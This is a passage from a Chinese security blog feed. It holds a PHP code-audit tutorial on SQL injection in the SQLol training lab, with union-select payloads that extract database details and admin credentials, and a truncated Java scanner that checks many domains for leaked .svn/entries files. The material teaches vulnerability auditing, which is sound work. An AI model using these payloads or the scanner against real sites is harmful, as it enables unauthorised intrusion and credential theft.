<h2 id="0x01_背景">0x01 背景</h2><p>现在的WEB程序基本都有对SQL注入的全局过滤,像PHP开启了GPC或者在全局文件common.php上使用addslashes()函数对接收的参数进行过滤,尤其是单引号。遇到这种情况我们就需要找一些编码解码的函数来绕过全局防护,这篇文章讲urldecode()的情况,同样大牛请自觉绕道~<br><strong>漏洞来源于乌云:<a href="http://www.wooyun.org/bugs/wooyun-2014-050338">http://www.wooyun.org/bugs/wooyun-2014-050338</a></strong><br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sqlbypass1.jpg" alt=""><br>
</summary>
<category term="WEB应用漏洞" scheme="http://www.cnbraid.com/categories/WEB%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/"/>
<category term="PHP" scheme="http://www.cnbraid.com/tags/PHP/"/>
<category term="SQL注入" scheme="http://www.cnbraid.com/tags/SQL%E6%B3%A8%E5%85%A5/"/>
<category term="代码审计" scheme="http://www.cnbraid.com/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
</entry>
<entry>
<title>【PHP代码审计】 那些年我们一起挖掘SQL注入 - 1.什么都没过滤的入门情况</title>
<link href="http://www.cnbraid.com/2015/12/17/sql0/"/>
<id>http://www.cnbraid.com/2015/12/17/sql0/</id>
<published>2015-12-17T09:35:00.000Z</published>
<updated>2016-06-24T08:55:53.839Z</updated>
<content type="html"><h2 id="0x01_背景">0x01 背景</h2><p>首先恭喜Seay法师的力作《代码审计:企业级web代码安全架构》,读了两天后深有感触。想了想自己也做审计有2年了,决定写个PHP代码审计实例教程的系列,希望能够帮助到新人更好的了解这一领域,同时也作为自己的一种沉淀。大牛请自觉绕道~<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sql.png" alt=""><br><a id="more"></a></p>
<h2 id="0x02_环境搭建">0x02 环境搭建</h2><p>PHP+MySql的集成环境特别多,像PhpStudy、Wamp和Lamp等下一步下一步点下去就成功安装了,网上搜索一下很多就不赘述。<br>这里提的环境是SQLol,它是一个可配置的SQL注入测试平台,包含了简单的SQL注入测试环境,即SQL语句的四元素增(Insert)、删(Delete)、改(Update)和查(Select)。<br>PS:什么都没过滤的情况太少了,现在再怎么没有接触过安全的程序员都知道用一些现成的框架来写代码,都有过滤的。所以这个平台主要训练在各种情况下如何进行sql注入以及如何写POC。<br>①源码我打包了一份:<a href="http://pan.baidu.com/s/1nu2vaOT" title="Sqlol.zip" target="_blank" rel="external">http://pan.baidu.com/s/1nu2vaOT</a><br>②解压到www的sql目录下,直接打开<a href="http://localhost/sql即可看到如下界面:" target="_blank" rel="external">http://localhost/sql即可看到如下界面:</a><br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sql1.png" alt=""></p>
<h2 id="0x03_漏洞分析">0x03 漏洞分析</h2><p>首先看下源码结构,比较简单,只有一个include文件夹包含一些数据库配置文件:<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sqlol0.png" alt=""><br>这里进行简单的源码分析,看不懂就略过以后再看~<br>1.看select.php文件,开始引入了/include/nav.inc.php<br><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="preprocessor">&lt;?php</span></span><br><span class="line"><span class="keyword">include</span>(<span class="string">'includes/nav.inc.php'</span>);</span><br><span class="line"><span class="preprocessor">?&gt;</span></span><br></pre></td></tr></table></figure></p>
<p>2.跟进nav.inc.php文件,发现该文件是select的核心表单提交页面以及输入处理程序:<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sqlol2.png" alt=""><br>表单的输入处理程序比较简单,主要是根据你表单的选择作出相应的过滤和处理,如下<br><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="preprocessor">&lt;?php</span></span><br><span class="line"><span class="variable">$_REQUEST</span> = array_merge(<span class="variable">$_GET</span>, <span class="variable">$_POST</span>, <span class="variable">$_COOKIE</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="variable">$_REQUEST</span>[<span class="string">'submit'</span>])) &#123; <span class="comment">//submit后,开始进入处理程序</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">switch</span> (<span class="variable">$_REQUEST</span>[<span class="string">'sanitize_quotes'</span>]) &#123; <span class="comment">//单引号的处理,表单选择不过滤,就是对应none,新手看不懂可以学好php再回来</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">case</span> <span class="string">'quotes_double'</span>:</span><br><span class="line"> <span class="variable">$_REQUEST</span>[<span class="string">'inject_string'</span>] = str_replace(<span class="string">'\''</span>, <span class="string">'\'\''</span>, <span class="variable">$_REQUEST</span>[<span class="string">'inject_string'</span>]);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'quotes_escape'</span>:</span><br><span class="line"> <span class="variable">$_REQUEST</span>[<span class="string">'inject_string'</span>] = str_replace(<span class="string">'\''</span>, <span class="string">'\\\''</span>, <span class="variable">$_REQUEST</span>[<span class="string">'inject_string'</span>]);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'quotes_remove'</span>:</span><br><span class="line"> <span class="variable">$_REQUEST</span>[<span class="string">'inject_string'</span>] = str_replace(<span class="string">'\''</span>, <span class="string">''</span>, <span class="variable">$_REQUEST</span>[<span class="string">'inject_string'</span>]);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"></span><br><span class="line"> &#125;</span><br><span class="line"></span><br><span class="line"> <span class="comment">//对空格的处理,如果参数中没有spaces_remove或者spaces_remove!=on就不会过滤空格</span></span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="variable">$_REQUEST</span>[<span class="string">'spaces_remove'</span>]) <span class="keyword">and</span> <span class="variable">$_REQUEST</span>[<span class="string">'spaces_remove'</span>] == <span class="string">'on'</span>) <span class="variable">$_REQUEST</span>[<span class="string">'inject_string'</span>] = str_replace(<span class="string">' '</span>, <span class="string">''</span>, <span class="variable">$_REQUEST</span>[<span class="string">'inject_string'</span>]);</span><br><span class="line"></span><br><span class="line"> <span class="comment">//黑名单关键字的处理,文章用不上,略过...</span></span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="variable">$_REQUEST</span>[<span class="string">'blacklist_keywords'</span>])) &#123;</span><br><span class="line"> <span class="variable">$blacklist</span> = explode(<span class="string">','</span>, <span class="variable">$_REQUEST</span>[<span class="string">'blacklist_keywords'</span>]);</span><br><span class="line"> &#125;</span><br><span class="line"> <span class="comment">//过滤级别,新手可以不用管,略过...</span></span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="variable">$_REQUEST</span>[<span class="string">'blacklist_level'</span>])) &#123;</span><br><span class="line"> <span class="keyword">switch</span> (<span class="variable">$_REQUEST</span>[<span class="string">'blacklist_level'</span>]) &#123;</span><br><span class="line"> <span class="comment">//We process blacklists differently at each level. At the lowest, each keyword is removed case-sensitively.</span></span><br><span class="line"> <span class="comment">//At medium blacklisting, checks are done case-insensitively.</span></span><br><span class="line"> <span class="comment">//At the highest level, checks are done case-insensitively and repeatedly.</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">case</span> <span class="string">'low'</span>:</span><br><span class="line"> <span class="keyword">foreach</span> (<span class="variable">$blacklist</span> <span class="keyword">as</span> <span class="variable">$keyword</span>) &#123;</span><br><span class="line"> <span class="variable">$_REQUEST</span>[<span class="string">'inject_string'</span>] = str_replace(<span class="variable">$keyword</span>, <span class="string">''</span>, <span class="variable">$_REQUEST</span>[<span class="string">'inject_string'</span>]);</span><br><span class="line"> &#125;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'medium'</span>:</span><br><span class="line"> <span class="keyword">foreach</span> (<span class="variable">$blacklist</span> <span class="keyword">as</span> <span class="variable">$keyword</span>) &#123;</span><br><span class="line"> <span class="variable">$_REQUEST</span>[<span class="string">'inject_string'</span>] = str_replace(strtolower(<span class="variable">$keyword</span>), <span class="string">''</span>, strtolower(<span class="variable">$_REQUEST</span>[<span class="string">'inject_string'</span>]));</span><br><span class="line"> &#125;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'high'</span>:</span><br><span class="line"> <span class="keyword">do</span> &#123;</span><br><span class="line"> <span class="variable">$keyword_found</span> = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">foreach</span> (<span class="variable">$blacklist</span> <span class="keyword">as</span> <span class="variable">$keyword</span>) &#123;</span><br><span class="line"> <span class="variable">$_REQUEST</span>[<span class="string">'inject_string'</span>] = str_replace(strtolower(<span class="variable">$keyword</span>), <span class="string">''</span>, strtolower(<span class="variable">$_REQUEST</span>[<span class="string">'inject_string'</span>]), <span class="variable">$count</span>);</span><br><span class="line"> <span class="variable">$keyword_found</span> += <span class="variable">$count</span>;</span><br><span class="line"> &#125;</span><br><span class="line"> &#125; <span class="keyword">while</span> (<span class="variable">$keyword_found</span>);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"></span><br><span class="line"> &#125;</span><br><span class="line"> &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="preprocessor">?&gt;</span></span><br></pre></td></tr></table></figure></p>
<p>3.我们再返回到select.php,发现后面也有个submit后表单处理程序,判断要注射的位置并构造sql语句,跟进看下:<br><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="preprocessor">&lt;?php</span></span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="variable">$_REQUEST</span>[<span class="string">'submit'</span>]))&#123; <span class="comment">//submit后,进入处理程序之二,1在上面</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(<span class="variable">$_REQUEST</span>[<span class="string">'location'</span>] == <span class="string">'entire_query'</span>)&#123;<span class="comment">//判断是不是整条语句都要注入,这里方便学习可以忽略不管</span></span><br><span class="line"> </span><br><span class="line"> <span class="variable">$query</span> = <span class="variable">$_REQUEST</span>[<span class="string">'inject_string'</span>];</span><br><span class="line"> <span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="variable">$_REQUEST</span>[<span class="string">'show_query'</span>]) <span class="keyword">and</span> <span class="variable">$_REQUEST</span>[<span class="string">'show_query'</span>]==<span class="string">'on'</span>) <span class="variable">$displayquery</span> = <span class="string">'&lt;u&gt;'</span> . <span class="variable">$_REQUEST</span>[<span class="string">'inject_string'</span>] . <span class="string">'&lt;/u&gt;'</span>;</span><br><span class="line"> </span><br><span class="line">&#125; <span class="keyword">else</span> &#123; <span class="comment">//这里是根据你选择要注射的位置来构造sql语句</span></span><br><span class="line"> </span><br><span class="line"> <span class="variable">$display_column_name</span> = <span class="variable">$column_name</span> = <span class="string">'username'</span>;</span><br><span class="line"> <span class="variable">$display_table_name</span> = <span class="variable">$table_name</span> = <span class="string">'users'</span>;</span><br><span class="line"> <span class="variable">$display_where_clause</span> = <span class="variable">$where_clause</span> = <span class="string">'WHERE isadmin = 0'</span>;</span><br><span class="line"> <span class="variable">$display_group_by_clause</span> = <span class="variable">$group_by_clause</span> = <span class="string">'GROUP BY username'</span>;</span><br><span class="line"> <span class="variable">$display_order_by_clause</span> = <span class="variable">$order_by_clause</span> = <span class="string">'ORDER BY username ASC'</span>;</span><br><span class="line"> <span class="variable">$display_having_clause</span> = <span class="variable">$having_clause</span> = <span class="string">'HAVING 1 = 1'</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">switch</span> (<span class="variable">$_REQUEST</span>[<span class="string">'location'</span>])&#123;</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'column_name'</span>:</span><br><span class="line"> <span class="variable">$column_name</span> = <span class="variable">$_REQUEST</span>[<span class="string">'inject_string'</span>];</span><br><span class="line"> <span class="variable">$display_column_name</span> = <span class="string">'&lt;u&gt;'</span> . <span class="variable">$_REQUEST</span>[<span class="string">'inject_string'</span>] . <span class="string">'&lt;/u&gt;'</span>;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'table_name'</span>:</span><br><span class="line"> <span class="variable">$table_name</span> = <span class="variable">$_REQUEST</span>[<span class="string">'inject_string'</span>];</span><br><span class="line"> <span class="variable">$display_table_name</span> = <span class="string">'&lt;u&gt;'</span> . <span class="variable">$_REQUEST</span>[<span class="string">'inject_string'</span>] . <span class="string">'&lt;/u&gt;'</span>;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'where_string'</span>:</span><br><span class="line"> <span class="variable">$where_clause</span> = <span class="string">"WHERE username = '"</span> . <span class="variable">$_REQUEST</span>[<span class="string">'inject_string'</span>] . <span class="string">"'"</span>;</span><br><span class="line"> <span class="variable">$display_where_clause</span> = <span class="string">"WHERE username = '"</span> . <span class="string">'&lt;u&gt;'</span> . <span class="variable">$_REQUEST</span>[<span class="string">'inject_string'</span>] . <span class="string">'&lt;/u&gt;'</span> . <span class="string">"'"</span>;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'where_int'</span>:</span><br><span class="line"> <span class="variable">$where_clause</span> = <span class="string">'WHERE isadmin = '</span> . <span class="variable">$_REQUEST</span>[<span class="string">'inject_string'</span>];</span><br><span class="line"> <span class="variable">$display_where_clause</span> = <span class="string">'WHERE isadmin = '</span> . <span class="string">'&lt;u&gt;'</span> . <span class="variable">$_REQUEST</span>[<span class="string">'inject_string'</span>] . <span class="string">'&lt;/u&gt;'</span>;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'group_by'</span>:</span><br><span class="line"> <span class="variable">$group_by_clause</span> = <span class="string">'GROUP BY '</span> . <span class="variable">$_REQUEST</span>[<span class="string">'inject_string'</span>];</span><br><span class="line"> <span class="variable">$display_group_by_clause</span> = <span class="string">'GROUP BY '</span> . <span class="string">'&lt;u&gt;'</span> . <span class="variable">$_REQUEST</span>[<span class="string">'inject_string'</span>] . <span class="string">'&lt;/u&gt;'</span>;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'order_by'</span>:</span><br><span class="line"> <span class="variable">$order_by_clause</span> = <span class="string">'ORDER BY '</span> . <span class="variable">$_REQUEST</span>[<span class="string">'inject_string'</span>] . <span class="string">' ASC'</span>;</span><br><span class="line"> <span class="variable">$display_order_by_clause</span> = <span class="string">'ORDER BY '</span> . <span class="string">'&lt;u&gt;'</span> . <span class="variable">$_REQUEST</span>[<span class="string">'inject_string'</span>] . <span class="string">'&lt;/u&gt;'</span> . <span class="string">' ASC'</span>;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'having'</span>:</span><br><span class="line"> <span class="variable">$having_clause</span> = <span class="string">'HAVING isadmin = '</span> . <span class="variable">$_REQUEST</span>[<span class="string">'inject_string'</span>];</span><br><span class="line"> <span class="variable">$display_having_clause</span> = <span class="string">'HAVING isadmin = '</span> . <span class="string">'&lt;u&gt;'</span> . <span class="variable">$_REQUEST</span>[<span class="string">'inject_string'</span>] . <span class="string">'&lt;/u&gt;'</span>;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> &#125;</span><br><span class="line"> </span><br><span class="line"> <span class="variable">$query</span> = <span class="string">"SELECT $column_name FROM $table_name $where_clause $group_by_clause $order_by_clause "</span>;</span><br><span class="line"> <span class="comment">/*Probably a better way to create $displayquery...</span><br><span class="line"> This allows me to underline the injection string</span><br><span class="line"> in the resulting query that's displayed with the</span><br><span class="line"> "Show Query" option without munging the query</span><br><span class="line"> which hits the database.*/</span></span><br><span class="line"> <span class="variable">$displayquery</span> = <span class="string">"SELECT $display_column_name FROM $display_table_name $display_where_clause $display_group_by_clause $display_order_by_clause "</span>;</span><br><span class="line"> </span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">include</span>(<span class="string">'includes/database.inc.php'</span>);<span class="comment">//这里又引入了一个包,我们继续跟进看看</span></span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"><span class="preprocessor">?&gt;</span></span><br></pre></td></tr></table></figure></p>
<p>4.跟进database.inc.php,终于带入查询了,所以表单看懂了,整个过程就没过滤^ ^<br><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="variable">$db_conn</span> = NewADOConnection(<span class="variable">$dsn</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">print</span>(<span class="string">"\n&lt;br&gt;\n&lt;br&gt;"</span>);</span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="variable">$_REQUEST</span>[<span class="string">'show_query'</span>]) <span class="keyword">and</span> <span class="variable">$_REQUEST</span>[<span class="string">'show_query'</span>]==<span class="string">'on'</span>) <span class="keyword">echo</span> <span class="string">"Query (injection string is &lt;u&gt;underlined&lt;/u&gt;): "</span> . <span class="variable">$displayquery</span> . <span class="string">"\n&lt;br&gt;"</span>;</span><br><span class="line"></span><br><span class="line"><span class="variable">$db_conn</span>-&gt;SetFetchMode(ADODB_FETCH_ASSOC);</span><br><span class="line"><span class="variable">$results</span> = <span class="variable">$db_conn</span>-&gt;Execute(<span class="variable">$query</span>);</span><br></pre></td></tr></table></figure></p>
<h2 id="0x04_漏洞证明">0x04 漏洞证明</h2><p>1.有了注入点了,我们先随意输入1然后选择注射位置为Where子句里的数字,开启Seay的MySql日志监控:<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sqlol3.png" alt=""><br>2.SQL查询语句为:SELECT username FROM users WHERE isadmin = 1 GROUP BY username ORDER BY username ASC<br>根据MySql日志监控里获取的sql语句判断可输出的只有一个字段,然后我们构造POC: </p>
<pre><code>-<span class="number">1</span> <span class="keyword">union</span> select <span class="number">222333</span><span class="preprocessor"># </span>
</code></pre><p>找到输出点“222333”的位置如下图:<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sqlol4.png" alt=""><br>3.构造获取数据库相关信息的POC:</p>
<pre><code>-<span class="number">1</span> union select <span class="function"><span class="title">concat</span><span class="params">(database()</span></span>,<span class="number">0</span>x5c,<span class="function"><span class="title">user</span><span class="params">()</span></span>,<span class="number">0</span>x5c,<span class="function"><span class="title">version</span><span class="params">()</span></span>)#
</code></pre><p>成功获取数据库名(sqlol)、账户名(root@localhost)和数据库版本(5.6.12)如下:<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sqlol5.png" alt=""><br>4.构造获取数据库sqlol中所有表信息的POC:</p>
<pre><code>-<span class="number">1</span> <span class="function"><span class="keyword">union</span> select <span class="title">GROUP_CONCAT</span><span class="params">(DISTINCT table_name)</span> from information_schema.tables where table_schema</span>=<span class="number">0x73716C6F6C</span><span class="preprocessor">#</span>
</code></pre><p>成功获取数据库sqlol所有表信息如下:<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sqlol6.png" alt=""><br>5.构造获取admin表所有字段信息的POC:</p>
<pre><code>-<span class="number">1</span> <span class="function"><span class="keyword">union</span> select <span class="title">GROUP_CONCAT</span><span class="params">(DISTINCT column_name)</span> from information_schema.columns where table_name</span>=<span class="number">0x61646D696E</span><span class="preprocessor">#</span>
</code></pre><p>成功获取表admin所有字段信息如下:<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sqlol7.png" alt=""><br>6.构造获取admin表账户密码的POC:</p>
<pre><code>-1 union <span class="operator">select <span class="keyword">GROUP_CONCAT</span>(<span class="keyword">DISTINCT</span> username,<span class="number">0x5f</span>,<span class="keyword">password</span>) <span class="keyword">from</span> <span class="keyword">admin</span>#</span>
</code></pre><p>成功获取管理员的账户密码信息如下:<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sqlol8.png" alt=""></p>
<p>本文由HackBraid整理总结,原文链接:<a href="http://www.cnbraid.com/2015/12/17/sql0/">http://www.cnbraid.com/2015/12/17/sql0/</a>,如需转载请联系作者。</p>
</content>
<summary type="html">
<h2 id="0x01_背景">0x01 背景</h2><p>首先恭喜Seay法师的力作《代码审计:企业级web代码安全架构》,读了两天后深有感触。想了想自己也做审计有2年了,决定写个PHP代码审计实例教程的系列,希望能够帮助到新人更好的了解这一领域,同时也作为自己的一种沉淀。大牛请自觉绕道~<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sql.png" alt=""><br>
</summary>
<category term="WEB应用漏洞" scheme="http://www.cnbraid.com/categories/WEB%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/"/>
<category term="PHP" scheme="http://www.cnbraid.com/tags/PHP/"/>
<category term="SQL注入" scheme="http://www.cnbraid.com/tags/SQL%E6%B3%A8%E5%85%A5/"/>
<category term="代码审计" scheme="http://www.cnbraid.com/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
</entry>
<entry>
<title>Java基于queue的多线程提取SVN信息泄露程序</title>
<link href="http://www.cnbraid.com/2015/12/16/svnExtract/"/>
<id>http://www.cnbraid.com/2015/12/16/svnExtract/</id>
<published>2015-12-16T09:35:00.000Z</published>
<updated>2016-05-03T05:45:53.104Z</updated>
<content type="html"><h2 id="0x01_背景">0x01 背景</h2><p>引上一篇博文,对于多线程程序来说,不管任何编程语言,生产者和消费者模型都是最经典的。就像学习每一门编程语言你首先要输出Hello World一样,都是经典的例子。这里使用queue队列作为仓储,将生产者和消费者联系起来并模拟实现一个多线程提取SVN信息泄露漏洞的程序。<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/svn.png" alt=""><br><a id="more"></a></p>
<h2 id="0x02_基于Queue的多线程提取SVN信息泄露的实现">0x02 基于Queue的多线程提取SVN信息泄露的实现</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> java.io.BufferedReader;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.io.InputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.InputStreamReader;</span><br><span class="line"><span class="keyword">import</span> java.net.HttpURLConnection;</span><br><span class="line"><span class="keyword">import</span> java.net.URL;</span><br><span class="line"><span class="keyword">import</span> java.net.URLConnection;</span><br><span class="line"><span class="keyword">import</span> java.util.ArrayList;</span><br><span class="line"><span class="keyword">import</span> java.util.List;</span><br><span class="line"><span class="keyword">import</span> java.util.concurrent.BlockingQueue;</span><br><span class="line"><span class="keyword">import</span> java.util.concurrent.LinkedBlockingQueue;</span><br><span class="line"><span class="keyword">import</span> ReadFiles.ReadFromFile;</span><br><span class="line"><span class="keyword">import</span> WriteFiles.WriteToFile;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span><br><span class="line"> * </span><br><span class="line"> * ClassName: svnExtract </span><br><span class="line"> * <span class="doctag">@Description</span> 获取域名list中存在svn信息泄露的域名</span><br><span class="line"> * <span class="doctag">@author</span> HackBraid</span><br><span class="line"> * <span class="doctag">@date</span> 2015年11月4日</span><br><span class="line"> */</span></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">svnExtract</span> </span>&#123;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> BlockingQueue&lt;String&gt; svnQueue = <span class="keyword">new</span> LinkedBlockingQueue&lt;String&gt;();</span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> </span>&#123;</span><br><span class="line"> <span class="comment">// TODO Auto-generated method stub</span></span><br><span class="line"> svnExtract svnExtract=<span class="keyword">new</span> svnExtract();</span><br><span class="line"> <span class="keyword">long</span> startTime=System.currentTimeMillis(); </span><br><span class="line"> svnExtract.svnProducer(svnQueue, <span class="string">"C:/Users/Administrator/Desktop/domain.txt"</span>);</span><br><span class="line"> <span class="keyword">long</span> nextTime=System.currentTimeMillis(); </span><br><span class="line"> System.out.println(<span class="string">"生成svnQueue队列的运行时间: "</span>+(nextTime-startTime)+<span class="string">"ms"</span>);</span><br><span class="line"> ThreadGroup tg=<span class="keyword">new</span> ThreadGroup(<span class="string">"svnExtract"</span>);</span><br><span class="line"> svnConsumer svnConsumer=svnExtract.new svnConsumer();</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; <span class="number">100</span>; i++) &#123;</span><br><span class="line"> Thread thread=<span class="keyword">new</span> Thread(tg,svnConsumer);</span><br><span class="line"> thread.start();</span><br><span class="line"> &#125;</span><br><span class="line"> <span class="keyword">while</span> (<span class="keyword">true</span>) &#123;</span><br><span class="line"> <span class="keyword">if</span>(tg.activeCount()==<span class="number">0</span>)&#123;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> &#125;</span><br><span class="line"> &#125;</span><br><span class="line"> <span class="keyword">long</span> endTime=System.currentTimeMillis(); </span><br><span class="line"> System.out.println(<span class="string">"程序总运行时间: "</span>+(endTime-startTime)+<span class="string">"ms"</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span><br><span class="line"> * </span><br><span class="line"> * <span class="doctag">@Description</span> 根据文件路径将文件里的url填充到svnQueue中</span><br><span class="line"> * <span class="doctag">@param</span> svnQueue</span><br><span class="line"> * <span class="doctag">@param</span> filePath</span><br><span class="line"> * <span class="doctag">@return</span> svnQueue </span><br><span class="line"> * <span class="doctag">@author</span> HackBraid</span><br><span class="line"> * <span class="doctag">@date</span> 2015年11月4日</span><br><span class="line"> */</span></span><br><span class="line"><span class="function"><span class="keyword">private</span> BlockingQueue&lt;String&gt; <span class="title">svnProducer</span><span class="params">(BlockingQueue&lt;String&gt; svnQueue, String filePath)</span> </span>&#123;</span><br><span class="line"> String urlTmp;</span><br><span class="line"> ReadFromFile readFromFile = <span class="keyword">new</span> ReadFromFile();</span><br><span class="line"> List urlList = <span class="keyword">new</span> ArrayList&lt;String&gt;();</span><br><span class="line"> urlList = readFromFile.readFileByLines(filePath);</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; urlList.size(); i++) &#123;</span><br><span class="line"> urlTmp=<span class="string">"http://"</span>+urlList.get(i)+<span class="string">"/.svn/entries"</span>;</span><br><span class="line"> svnQueue.offer(urlTmp);</span><br><span class="line"> &#125;</span><br><span class="line"> <span class="keyword">return</span> svnQueue;</span><br><span class="line"> </span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span><br><span class="line"> * </span><br><span class="line"> * ClassName: svnConsumer </span><br><span class="line"> * <span class="doctag">@Description</span> 处理svnQueue中的url,判断是否存在svn信息泄露</span><br><span class="line"> * <span class="doctag">@author</span> HackBraid</span><br><span class="line"> * <span class="doctag">@date</span> 2015年11月4日</span><br><span class="line"> */</span></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">svnConsumer</span> <span class="keyword">implements</span> <span class="title">Runnable</span></span>&#123;</span><br><span class="line"></span><br><span class="line"> <span class="annotation">@Override</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">run</span><span class="params">()</span> </span>&#123;</span><br><span class="line"> <span class="keyword">while</span> (<span class="keyword">true</span>) &#123;</span><br><span class="line"> String url=svnQueue.poll();</span><br><span class="line"> <span class="keyword">if</span>(url == <span class="keyword">null</span>)&#123;</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> &#125;</span><br><span class="line"> <span class="keyword">try</span>&#123;</span><br><span class="line"> URL u = <span class="keyword">new</span> URL(url);</span><br><span class="line"> URLConnection connection = u.openConnection();</span><br><span class="line"> HttpURLConnection httpURLConnection = (HttpURLConnection) connection;</span><br><span class="line"> httpURLConnection.setRequestProperty(<span class="string">"Accept-Charset"</span>, <span class="string">"utf-8"</span>);</span><br><span class="line"> httpURLConnection.setRequestProperty(<span class="string">"Accept-Encoding"</span>, <span class="string">"identity"</span>);</span><br><span class="line"> httpURLConnection.setRequestProperty(<span class="string">"Content-Type"</span>,</span><br><span class="line"> <span class="string">"application/x-www-form-urlencoded"</span>);</span><br><span class="line"> httpURLConnection.setReadTimeout(<span class="number">2000</span>);</span><br><span class="line"> httpURLConnection.setConnectTimeout(<span class="number">2000</span>);</span><br><span class="line"> <span class="keyword">if</span> (((httpURLConnection.getResponseCode() == <span class="number">200</span>)||(httpURLConnection.getResponseCode() == <span class="number">403</span>)||(httpURLConnection.getResponseCode() == <span class="number">404</span>))) &#123;</span><br><span class="line"> <span class="comment">//获取返回内容 </span></span><br><span class="line"> InputStream in = <span class="keyword">null</span>;</span><br><span class="line"> InputStreamReader inr = <span class="keyword">null</span>;</span><br><span class="line"> BufferedReader reader = <span class="keyword">null</span>;</span><br><span class="line"> StringBuffer resultBuffer = <span class="keyword">new</span> StringBuffer();</span><br><span class="line"> String tempLine = <span class="keyword">null</span>;</span><br><span class="line"> <span class="keyword">try</span>&#123;</span><br><span class="line"> in = httpURLConnection.getInputStream();</span><br><span class="line"> <span class="comment">//先对数据流进行utf-8转码,解决乱码</span></span><br><span class="line"> inr = <span class="keyword">new</span> InputStreamReader(in,<span class="string">"utf-8"</span>);</span><br><span class="line"> reader = <span class="keyword">new</span> BufferedReader(inr);</span><br><span class="line"> <span class="keyword">while</span>((tempLine = reader.readLine())!=<span class="keyword">null</span>)&#123;</span><br><span class="line"> <span class="keyword">if</span>(tempLine.indexOf(<span class="string">"ir"</span>)&gt;<span class="number">0</span>&amp;&amp;tempLine.length()&lt;<span class="number">5</span>)&#123;</span><br><span class="line"> WriteToFile.fWriter(<span class="string">"C:/Users/Administrator/Desktop/svnSuccess.txt"</span>, url);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> 